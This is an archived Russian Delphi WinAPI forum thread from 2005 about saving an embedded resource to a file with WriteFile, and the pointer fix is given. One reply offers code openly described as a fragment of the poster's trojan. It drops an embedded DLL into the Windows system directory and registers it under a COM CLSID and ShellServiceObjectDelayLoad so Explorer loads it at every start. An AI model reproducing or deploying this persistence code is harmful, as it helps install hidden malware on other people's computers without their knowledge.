Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2005.06.14;
Скачать: [xml.tar.bz2];

Вниз

Как сохранить ресурс в файл?   Найти похожие ветки 

 
lpVoid ©   (2005-04-21 13:56) [0]

Написал вот такой код. Ресурс находится, в память загружается, а вот WriteFile ругается что буфер неправильный. Ошибка такая: ERROR_INVALID_USER_BUFFER = 1784


 hFile:=CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 hRes:=FindResource(0, "DATA", RT_RCDATA);
 szRes:=SizeOfResource(0, hRes);
 hResMem:=LoadResource(0, hRes);
 pBuffer:=LockResource(hResMem);
 WriteFile(hFile, pBuffer, szRes, WriteCount, 0);
 CloseHandle(hSrcFile);


 
mgcr ©   (2005-04-21 14:56) [1]

WriteFile(hFile, pBuffer^, szRes, WriteCount, 0);


 
Dot   (2005-04-21 15:16) [2]

а не подскажете типы данных?
то есть можно тот кусок кода где VAR увидеть?


 
lpVoid ©   (2005-04-21 16:22) [3]

Спасибо, mgcr. Стормозил я чего-то.


 
lock95   (2005-04-22 20:51) [4]

Маленький пример как ресурс сохранит и выгрузить (уолюсь фрагмент моего троянчика)   ;)

program Project1;

uses
  Windows, SysUtils, Classes, Registry;

{$R sheldll.RES}//наш ресурс

var
MyDll1: TResourceStream;
reg:TRegistry;
szPath: array [0..MAX_PATH -1] of Char;
Sysdir:string;

begin

 GetSystemDirectory(szPath, MAX_PATH); //узнаемпуть к системной дирректории
 Sysdir:=StrPas(szPath)+"\sheldll.dll";   //   преобразуем в стр + \sheldll.dll

     MyDll1:=TResourceStream.Create(hInstance, "MYDLL", RT_RCDATA);
   try
   MyDll1.SaveToFile(Sysdir);
  // Finally
    except          //пуска не глючит
     MyDll1.Free;
  end; {try}

   reg:=Tregistry.create;
   reg.rootkey:=HKEY_CLASSES_ROOT;
 try
   reg.openkey ("CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32", true);
   reg.writestring("",Sysdir);
   reg.closekey;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey("Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad", true);
   reg.writestring("MyDllLoade","{69502F20-E8CD-11D5-A784-0050BF44BD3B}");
   reg.closekey;
 finally
   reg.free;
 end; {try}

end.


 
lpVoid ©   (2005-04-22 23:17) [5]

Так конечно проще, но для троянчика это жирновато будет, меньше 150кб никак. :)



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2005.06.14;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.45 MB
Время: 0.032 c
1-1117479425
Karlson
2005-05-30 22:57
2005.06.14
Признак конца строки в текстовом файле


14-1116866445
NikNet
2005-05-23 20:40
2005.06.14
Где скачать весь DevExpress или хотябы TreeView,ToolBar?


4-1113899638
dimasih
2005-04-19 12:33
2005.06.14
Документация по TService


14-1116532347
Yanis
2005-05-19 23:52
2005.06.14
Если бы программисты строили дома.


3-1115457174
Geka
2005-05-07 13:12
2005.06.14
Удаление одинаковых позиций SQL





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский